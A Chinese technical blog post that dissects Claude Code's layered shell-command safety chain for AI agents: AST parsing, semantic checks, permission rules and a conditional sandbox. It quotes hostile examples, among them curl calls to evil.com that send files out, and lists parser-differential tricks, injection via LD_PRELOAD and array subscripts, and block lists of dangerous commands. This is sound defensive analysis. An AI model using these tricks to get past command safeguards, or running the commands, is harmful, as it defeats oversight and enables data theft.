拆解 Claude Code BashTool 的安全链路:让 AI 执行 Shell 命令,到底怎么防住它搞事

0 阅读6分钟

让 AI Agent 执行 shell 命令,是最危险也最有价值的能力之一。Claude Code 的实现并不是“一张黑名单 + 一个确认框”,而是一条跨 AST 解析、命令语义校验、权限引擎和 OS 沙箱的多段式安全链。这篇文章按源码把这条链拆开,重点讲清它到底防了什么、靠什么防、哪些地方又不能过度神化。

一、先讲结论

Claude Code 的 Bash 安全体系,确实很强,但它不是一个简单的“8 层同级防线”模型。更准确的说法是:

  • 它是一条 AST 可信解析 -> 语义校验 -> operator/path/read-only 编排 -> 权限规则 / classifier -> 条件沙箱 串起来的安全链
  • 现版本主入口是 AST/tree-sitter fail-closed 解析,不是 legacy 的 shell-quote / 三路引号提取
  • destructive command warning 只是提示文案,不是阻断层
  • OS 沙箱也不是“每条命令必经的最后一道防线”,而是按配置、平台、命令条件决定是否启用的执行隔离层

如果把源码里的真实结构压成一张图,大致更接近这样:

┌──── Claude Code Bash 安全链 ────┐
│ ⑦ 条件启用的 OS 沙箱 / 网络文件隔离  │
│ ⑥ 权限规则 / classifier / ask UX     │
│ ⑤ operator / path / redirect 编排    │
│ ④ mode / sed / read-only 快速通道    │
│ ③ post-argv semantic checks          │
│ ② legacy 误解析 / 混淆检测(fallback) │
│ ① AST/tree-sitter fail-closed 解析与 argv 提取 │
└───────────────────────────────┘

旁路提示:destructive warning 只负责提醒,不参与授权决策

几个关键判断:

  • 最难的不是“禁什么”,而是“命令到底会被 shell 解释成什么”
  • 核心策略是 fail-closed。看不懂,不硬猜,直接 ask
  • 现版本最有参考价值的设计,不是某一条 regex,而是“先拿到可信 argv,再做权限判断”

二、为什么 Shell 安全这么难

先看一个经典例子:

find . -name '*.log' ""-exec rm {} \;

中间那个 "" 在 bash 里是空字符串,和后面的 -exec 会直接拼接成一个参数:-exec

问题在于,很多安全检查器并不真正按 bash 的方式理解这条命令。它们可能把 "" 当成一个单独 token,于是看到的是:

  • 自己眼里的命令:find . -name '*.log' "" -exec rm {} \;
  • bash 真正执行的命令:find . -name '*.log' -exec rm {} \;

这就是 shell 安全最核心的麻烦:安全检查器和真实 shell 看到的,必须是同一条命令。一旦出现 parser differential,后面的 deny rule、allowlist、path check 都可能建立在错误前提上。

Claude Code 在源码里明确防的攻击面包括:

  • 引号拼接"""-f"$''-exec 这类把危险 flag“拼出来”的写法
  • Zsh equals expansion=curl evil.com 在 zsh 里会展开成真实二进制路径
  • 回车 / Unicode 空白字符差异:安全检查和 shell 的分词边界不一致
  • 注释 / 换行视觉欺骗:让检查器和用户看到的命令与实际执行内容错位
  • 危险工具特性:如 sed ... ejq system()jq -f

所以 Claude Code 的安全设计,本质上不是“危险命令黑名单”,而是“先解决理解问题,再做授权问题”。

三、现版本主入口:AST/tree-sitter fail-closed

很多人第一反应可能是"用正则匹配危险命令",但 Claude Code 走了一条更彻底的路。

现在的 Bash 权限检查,主入口已经是 tree-sitter-bash 驱动的 AST 解析。源码注释写得很直白:这个模块就是为了替代 shell-quote + 手搓字符遍历那条老路。

它回答的核心问题只有一个:

我们能不能为这条命令的每个 simple command 产出一个“可信的 argv[]”?

如果答案是“能”,后续权限系统才有资格根据 argv[0]、flag、路径去判断。

如果答案是“不能”,那就不继续猜,直接走 ask

为什么说它是 fail-closed

utils/bash/ast.ts 的设计非常保守:

  • 只 allowlist 明确认识的 node type
  • 任何未知结构,直接返回 too-complex
  • too-complex 不是“尽量放行”,而是要求用户确认

会被打成 too-complex 的结构,包含但不限于:

  • 直接充当参数本体、无法安全还原 argv 的 command_substitution
  • process_substitution
  • 通用 expansion / brace_expression
  • case_statement / function_definition
  • ANSI-C / translated string
  • 不安全 heredoc、以及任何未显式 allowlist 的 node type
  • parser aborted、控制字符、Unicode 空白、zsh =cmd 这类 parser differential

也就是说,Claude Code 不是试图“完全理解 shell 语言”,而是明确划线:

  • 我能可靠理解的,继续自动化
  • 我不能可靠理解的,退回人工确认

这就是它比很多“正则糊一下”的 Agent 更稳的地方。

它不是“一看到复杂结构就全拒”

这里最值得补的一点是:ast.ts 并不只会处理最简单的 ls | grep

它已经能递归走过 listpipelineredirected_statement,还能处理:

  • for_statement
  • if_statement
  • while_statement
  • subshell
  • test_command
  • declaration_command
  • unset_command

也就是说,Claude Code 不是把这些结构一股脑打成 too-complex,而是会继续把里面真正会执行的 simple command 抽出来做后续权限判断。

$() 也不是一律 ask

  • 如果 $() 直接充当参数本体,比如 cd $(pwd),那确实会被打成 too-complex,因为 placeholder 会把真实路径藏掉
  • 如果 $() 只是双引号字符串的一部分,或只是赋值右值,比如 echo "SHA: $(git rev-parse HEAD)"NOW=$(date),AST 会递归抽出内层命令,把外层 argv 保留成可继续检查的形态

源码里甚至还有一个很有意思的 carve-out:$(cat <<'EOF' ... EOF) 这种 quoted heredoc literal body,会被当成可证明安全的静态字符串,而不是简单粗暴地全部打回确认。

所以更准确的说法不是“tree-sitter 只能看 simple command”,而是:

它愿意理解一部分复杂 shell 结构,但前提是它不能对 argv 语义撒谎。

AST 解析成功,也不代表直接放行

AST 成功只说明“结构可信”,不说明“命令安全”。

bashPermissions.ts 里,AST 解析成功之后还会继续做两步:

  1. checkSemantics
    过滤那些语法上能正常 tokenize,但语义上本身就危险的东西。覆盖范围相当广:

    • evalsource(含 .)、traphashfccompgenlet 等危险 builtin
    • zmodloadsysopensysreadztcpzsocket 等 zsh 专有 builtin
    • timeout/nice/env/stdbuf/nohup/time 这类 wrapper——会被剥开外壳,对内层真实命令做独立校验
    • 数组下标求值攻击printf -vdeclare -vreadunsetNAME[...] 的形式,因为 bash 会在赋值/unset 时对下标做算术求值,a[$(evil)] 可以执行任意命令
    • \n# 换行注释混淆:argv 或环境变量中的换行 + # 可以让检查器和 shell 看到不同的命令
    • /proc/*/environ 读取:防止通过文件系统读取其他进程的环境变量(可能含 secret)
  2. 下游权限与路径校验
    即使 argv 可信,仍然要继续检查 operator、路径、read-only 规则、权限规则、沙箱状态。

所以 AST 不是“最后裁决”,它是可信输入的前置条件

四、legacy 路径并没有消失,但它已经是 fallback / 补充校验

在 tree-sitter AST 成为主入口之前,Claude Code 靠的是 shell-quote 库 + 手搓字符遍历来解析命令。这套逻辑现在仍然保留在代码里,但角色已经变了:

  • 当 tree-sitter 不可用、被 feature gate 关闭、或 injection check 被禁用时,会回退到 legacy 路径
  • legacy 路径仍然保留了大量非常有价值的误解析防护和混淆检测

legacy 路径里最经典的设计:三路引号提取

bashSecurity.ts 里确实有这一套:

extractQuotedContent(command) => {
  withDoubleQuotes
  fullyUnquoted
  unquotedKeepQuoteChars
}

它解决的是不同安全规则需要看命令的不同“投影”:

  • fullyUnquoted:看引号外是否出现 $()、反引号、${}
  • withDoubleQuotes:区分单引号和双引号里哪些扩展仍然生效
  • unquotedKeepQuoteChars:专门抓 parser differential,比如 grep 'x'#

这套设计本身没问题,只是它不再是现版本所有判断的总底座

legacy 路径真正强的地方:误解析和混淆 hardening

这一层的真实实现比”几类 pattern”要碎得多、也更工程化。源码里能看到的检查包括:

  • shell-quote 单引号 bug 前置检测
  • 空引号拼接 flag
  • 命令替换 / 进程替换 / 参数展开
  • Zsh equals expansion
  • CR 注入
  • IFS 注入
  • /proc/*/environ 读取
  • malformed token + command separator 组合
  • quoted flag / split-quote flag / brace expansion 混淆

这也是为什么我更愿意把这部分称为:

legacy misparsing / obfuscation gate

而不是一个单独的“第①层引号解析”。

五、命令语义层:sedjqenv、read-only allowlist、路径校验

AST 解决的是”能不能拿到可信 argv”,这一层解决的是”拿到 argv 之后,这条命令到底安不安全”。

sed 是严格 allowlist,jq 不是

sedjq 都是”看起来人畜无害,实际能搞大事”的命令,但 Claude Code 对它们的策略并不对称。

sed

sed 的约束确实是典型的 allowlist 思路:

  • 只读场景允许 sed -n 'Np'sed -n 'N,Mp' 这类打印
  • 替换场景只允许严格受限的 s/pattern/replacement/flags
  • flag 只允许 g p i I m M 和单个数字
  • w/W/e/E 这类能写文件或执行命令的能力会触发 ask
  • acceptEdits 模式下,才会额外允许 -i 这类原地改写

这确实是”先列出安全用法,其余全部要求确认”的 allowlist。

值得一提的是,sedValidation.ts 在 allowlist 之外还多加了一层 defense-in-depth denylist:即使某条 sed 命令侥幸通过了 allowlist 逻辑,仍然会再过一遍已知危险 pattern 的黑名单。这种”白名单 + 黑名单双保险”的设计,在安全工程里叫 belt-and-suspenders。

jq

jq 不是同一套模型。

jq 这边更像是混合策略:

  • bashSecurity.ts 里直接拦 system()
  • 直接拦危险 flag:-f--from-file--rawfile--slurpfile-L--library-path
  • readOnlyValidation.ts 里,再通过 regex 限制只读形态
  • 文件参数再交给 pathValidation.ts 去做路径约束

所以更准确的说法是:

sed 是严格 allowlist;jq 是“危险功能直拦 + read-only/path 校验”的混合策略。

env

env 命令的安全处理也值得单独说。表面上 env FOO=bar cmd 只是设置环境变量,但如果不加限制,攻击者可以通过 env LD_PRELOAD=evil.so cmd 注入共享库,或者通过 env PATH=/tmp cmd 劫持命令查找路径。

Claude Code 的做法是维护一份 SAFE_ENV_VARS 白名单,只允许设置已知安全的环境变量,覆盖了:

  • Go:GOEXPERIMENTGOOSGOARCHCGO_ENABLEDGO111MODULE
  • Rust:RUST_BACKTRACERUST_LOG
  • Node:NODE_ENV
  • Python:PYTHONUNBUFFEREDPYTHONDONTWRITEBYTECODE
  • Locale / Terminal:LANGLC_ALLTERMNO_COLORFORCE_COLORTZ

不在白名单里的环境变量,checkSemanticsenv 的 flag 校验会直接 fail-closed。这又是一个"不试图枚举所有危险值,而是只放行已知安全值"的设计。

read-only 快速通道,不只是一个 allowlist 数组

除了 sed / jq 这种命令级特例,Claude Code 还有一套很大的 read-only quick path,但它不是“一个数组 + includes()”。

更贴近源码的说法是:

它是 COMMAND_ALLOWLIST 为主、READONLY_COMMAND_REGEXES 为补充,再叠加额外危险回调和 git 专项 hardening 的组合系统。

像这些命令如果命中安全条件,通常可以走快速放行:

  • git log / git status / git diff 一类只读 git
  • rg / grep / fd
  • cat / head / tail
  • pwd / whoami

关键不只是“命令名在 allowlist 里”,而是:

  • 每个 flag 都有类型约束,很多命令会走专门的 flag parser
  • 少数历史命令才会落到 regex fallback,而且 regex 前后还有额外护栏
  • 未加引号的变量展开、glob、UNC 路径、路径访问、输出重定向仍然要继续校验
  • git 还有额外 guard,比如 cd + git、bare repo、git internal path writes、sandbox 下 original cwd 限制

这套系统的设计目标很清楚:快速放行常见只读操作,但不给 flag 解析留语义漏洞

路径约束层,不只是“路径在不在工作目录里”

pathValidation.ts 做的事远不止"检查路径在不在工作目录里":

  • rmfindgitjqsed 等不同命令做专门路径提取
  • 正确处理 POSIX --
  • 检查危险删除路径
  • 检查输出重定向
  • 在 compound command 里,如果有 cd 再叠加写操作,会走更保守的策略

这里一个很重要的点是:

destructive pathallowed working path 是两套不同概念。

也就是说,就算某个路径在允许目录内,像 rm -rf / 这种“危险移除路径”仍然会被单独拦。

六、权限引擎:规则匹配、operator 编排、classifier、sandbox auto-allow

再往后,才是很多人第一反应里的“权限系统”。

1. 规则不是只有 allow / deny 两个按钮

bashPermissions.ts 的决策顺序相当复杂,至少包括:

  • exact deny / ask / allow
  • prefix / wildcard deny / ask / allow
  • prompt-based classifier 规则
  • operator / pipe / redirect 的特殊处理
  • path constraints
  • read-only allow
  • 默认 ask

其中 prompt-based classifier 是个很有意思的设计:它用一个轻量级 LLM(Haiku)对命令做语义级别的分类判断,弥补纯规则系统”只能看语法、看不出意图”的局限。比如一条命令语法上完全合法、flag 也都在 allowlist 里,但组合起来的意图明显有问题——这种 case 靠规则很难穷举,但 classifier 有可能捕获。

这就是为什么 Claude Code 的 Bash 权限不是”看一眼命令前缀就决定”,而是一个编排器

2. pipe / redirect / compound command 会单独处理

源码里有专门的 checkCommandOperatorPermissions()

原因很现实:
echo x | xargs ... >> file 这种命令,不能只看每一段子命令都“好像没问题”,还必须把原始命令上的重定向目标、cd 影响、组合执行关系一起算进去。

这类地方如果偷懒,只按 split('|') 或“逐段判断”处理,很容易留下真实漏洞。

3. 裸 shell prefix 不会被建议保存

Claude Code 明确把一批”给了前缀就近似给了任意执行权”的命令列进 BARE_SHELL_PREFIXES,范围相当宽:

  • shell 解释器:sh / bash / zsh / fish / csh / tcsh / ksh / dash / cmd / powershell / pwsh
  • wrapper:env / xargs / nice / stdbuf / nohup / timeout / time
  • 提权工具:sudo / doas / pkexec

原因很简单:这类前缀一旦配成 Bash(bash:*)Bash(env:*),用户相当于给了“执行任意后续命令”的大权限。

更准确的表述应该是:

它们不会被系统主动建议保存,因为这会大幅削弱整套安全链。

但如果用户手动硬配超宽规则,比如 Bash(*),那当然仍然能把很多保护意义降到很低。

4. 还有一个经常被忽略的点:sandbox auto-allow

源码里有一条很实用的分支:

  • 如果 sandbox 已启用
  • 并且 autoAllowBashIfSandboxed 也启用
  • 并且这条命令确实会在 sandbox 中执行

那某些 Bash 调用可以不弹确认,直接因为“会在沙箱里运行”而放行

但它不是无条件压过规则的“超级白名单”。源码里会先检查 full-command 和 subcommand 上的显式 deny / ask 规则,只有这些都没命中时,sandbox auto-allow 才真正生效。

这意味着 Claude Code 的真实授权逻辑,并不是“先授权,再决定要不要 sandbox”,而是两者会互相影响。

七、destructive warning 只是提示层,不是授权层

这是很多人容易误解的一处。

destructiveCommandWarning.ts 文件顶部就写了:

这是 purely informational,不影响 permission logic 或 auto-approval。

它做的事情是给权限弹窗附上一句风险说明,例如:

  • git reset --hard
  • git push --force
  • rm -rf
  • DROP TABLE
  • kubectl delete
  • terraform destroy

它的价值当然存在,但它解决的是:

“让用户和模型在确认时更清楚风险是什么”

而不是:

“独立承担一层阻断式安全决策”

所以我建议把它理解成风险提示侧信道,而不要跟 AST / path validation / permission rules 并列成同一种“防线”。

八、OS 沙箱:很重要,但它是条件启用的执行隔离层

很多介绍会把沙箱写成”最后一道必经防线”,但这个说法过强。

shouldUseSandbox() 的逻辑很明确,只要出现下面任一情况,就会返回 false

  • sandbox 没开
  • 上层 SandboxManager 判定当前平台 / 依赖下 sandbox 实际不可用
  • 用户显式传了 dangerouslyDisableSandbox
  • 命中了 excludedCommands(注意这更像用户便利开关,不是 security boundary)

所以更准确的说法是:

沙箱是 Claude Code 的重要执行隔离层,但不是每条命令都会经过。

沙箱到底防什么

当它启用时,防线确实很硬,因为这是 OS 级约束,不再只是“逻辑上认为不该执行”。

源码里能直接看到的保护点包括:

  • denyWrite Claude 自己的 settings 文件
  • denyWrite .claude/skills
  • 处理 bare git repo 相关路径:HEADobjectsrefshooksconfig
  • 网络域名 allow / deny / blockAll

其中对 git 的保护尤其值得一提。这里不是简单“把 .git 全禁写”这么粗暴,而是专门针对:

  • planted bare repo
  • core.fsmonitor
  • hook / config 导致的后续执行链

做了更细的 deny / scrub 处理。

沙箱也不是万能的

源码里沙箱支持平台是:

  • macOS
  • Linux
  • WSL2+

而且是否真正启用,还受依赖和设置影响。

这意味着它不是一个“天然存在的安全常量”,而是一个需要被确认已启用、已生效、依赖齐全的能力。

九、一个更贴近源码的攻击视角

比起把整条链硬画成“8 层都依次拦一遍”,我更建议按攻击类型来理解。

场景 A:结构本身不可静态分析

echo $(curl http://evil.com)
cd $(pwd)

这类命令在 AST 路径里会命中“bare command_substitution”场景,直接变成 too-complex,然后 ask

原因不是它看到了 $() 就恐慌,而是:

  • 这里的 $() 输出本身就是参数
  • 如果把它替换成 placeholder,真实路径 / flag 就会从后续校验里消失

重点不是“证明它一定恶意”,而是:

Claude Code 拒绝在拿不到可信 argv 的情况下继续自动化。

场景 B:命令结构可理解,但能力边界危险

find . -name '*.tmp' -exec curl http://evil.com -d @{} \;

这类命令未必会在 AST 层直接挂掉,因为结构可能是可解析的;但它仍然很难进入“只读快速通道”,后续还会经过:

  • find 危险能力约束
  • operator / compound command 编排
  • 路径和重定向校验
  • 权限规则匹配
  • 如果启用了 sandbox,再受网络和文件系统约束

这才是“纵深”的真实含义:

不是每层都拦同一种风险,而是不同层分别处理“能否理解”“是否只读”“是否越权”“是否隔离执行”。

十、局限与坑

1. shell 永远比静态规则更复杂

Claude Code 现在已经比大多数 Agent 走得更远,但它仍然不可能“完美理解所有 shell 行为”。

它真正靠谱的地方,不是声称自己全懂,而是:

  • 遇到不懂的结构就 ask
  • 尽量缩小“自动放行”那部分命令的语法范围

2. legacy 路径仍然存在,意味着维护成本也还在

虽然 AST 已经是主入口,但 legacy misparsing / obfuscation 那套逻辑并没有完全删除。

这意味着:

  • 系统比“纯 AST”更稳
  • 但也意味着安全逻辑分散在多处模块里,维护难度更高

3. 50 个 subcommand 上限,本质上是安全与性能折中

源码里有 MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50

在 legacy splitCommand 路径下,超过这个 fanout,Claude Code 会直接 ask,避免在极端 compound command 上继续展开分析。

这不是“漏洞”,而是典型的工程取舍:
宁可多问一次,也不在超长命令上冒误判风险。

4. 用户配置仍然可能削弱保护

如果用户手动配置过宽的规则,例如:

  • Bash(*)
  • Bash(bash:*)
  • Bash(env:*)

那整套系统当然会被削弱。

Claude Code 做到的是:

  • 不主动建议这种规则
  • 尽量让默认路径更安全

但它终究不是强制管控平台,最后还是允许用户自己承担配置后果。

十一、最后总结

Claude Code 这套 Bash 安全设计,最值得抄的不是某几个正则,而是三个更底层的工程原则:

  1. 先拿到可信语义,再谈授权
    这也是为什么 tree-sitter / AST fail-closed 会成为现版本主入口。

  2. 把“只读自动化”收得很窄,把“不确定”统一打回确认
    这比“先大胆放,再出事了加黑名单”要成熟得多。

  3. 逻辑校验和执行隔离要并存
    仅有规则,没有 sandbox,不够;仅有 sandbox,没有可信 argv 和权限编排,也不够。

如果你在做自己的 Agent,我觉得最该抄的不是某个 deny pattern,而是这个问题:

你的安全检查,看到的和 shell 真正执行的,究竟是不是同一条命令?

如果这个问题还答不上来,那第一课通常不是多写几条规则,而是先把解析这件事做对。

最后一个感受:Claude Code 这套系统最让我印象深刻的,不是某个单点设计有多巧妙,而是它在**"安全"和"可用"之间找到了一个工程上可持续的平衡点**。既没有为了安全把 Bash 能力阉割到不能用,也没有为了体验把安全做成摆设。这种"在正确的层做正确粒度的检查"的设计哲学,比任何具体的 regex 都更值得学。